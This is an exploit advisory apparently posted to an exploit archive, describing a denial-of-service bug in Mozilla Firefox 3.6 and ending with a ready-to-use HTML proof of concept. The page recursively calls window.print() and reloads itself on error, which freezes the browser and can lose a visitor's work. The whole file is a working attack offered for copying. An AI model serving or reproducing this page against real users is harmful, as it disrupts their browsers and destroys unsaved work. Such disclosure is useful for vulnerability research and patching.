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======================================================================= Mozilla Firefox 3.6 (Multitudinous looping )Denial of Service Exploit ======================================================================= by Asheesh Kumar Mani Tripathi # code by Asheesh kumar Mani Tripathi # email informationhacker08@gmail.com # company aksitservices # Credit by Asheesh Anaconda #Download www.mozilla.com/firefox #Background Mozilla Firefox is a popular internet browser. .....:) #Vulnerability This bug is a typical result of multitudinousloop. The flaw exists when the attacker put window.printer() funtion in multitudinous loop.User interaction is required to exploit this vulnerability in that the target must visit a malicious web page. #Impact Browser doesn't respond any longer to any user input, all tabs are no longer accessible, your work if any might be lost. #Proof of concept copy the code in text file and save as "asheesh.html" open in Mozilla Firefox ======================================================================================================================== asheesh.html ======================================================================================================================== <html> <title>asheesh kumar mani tripathi</title> <script> function asheesh() { window.onerror=new Function("history.go(0)"); window.print(); asheesh(); } asheesh(); </script> </html> ======================================================================================================================== #If you have any questions, comments, or concerns, feel free to contact me. |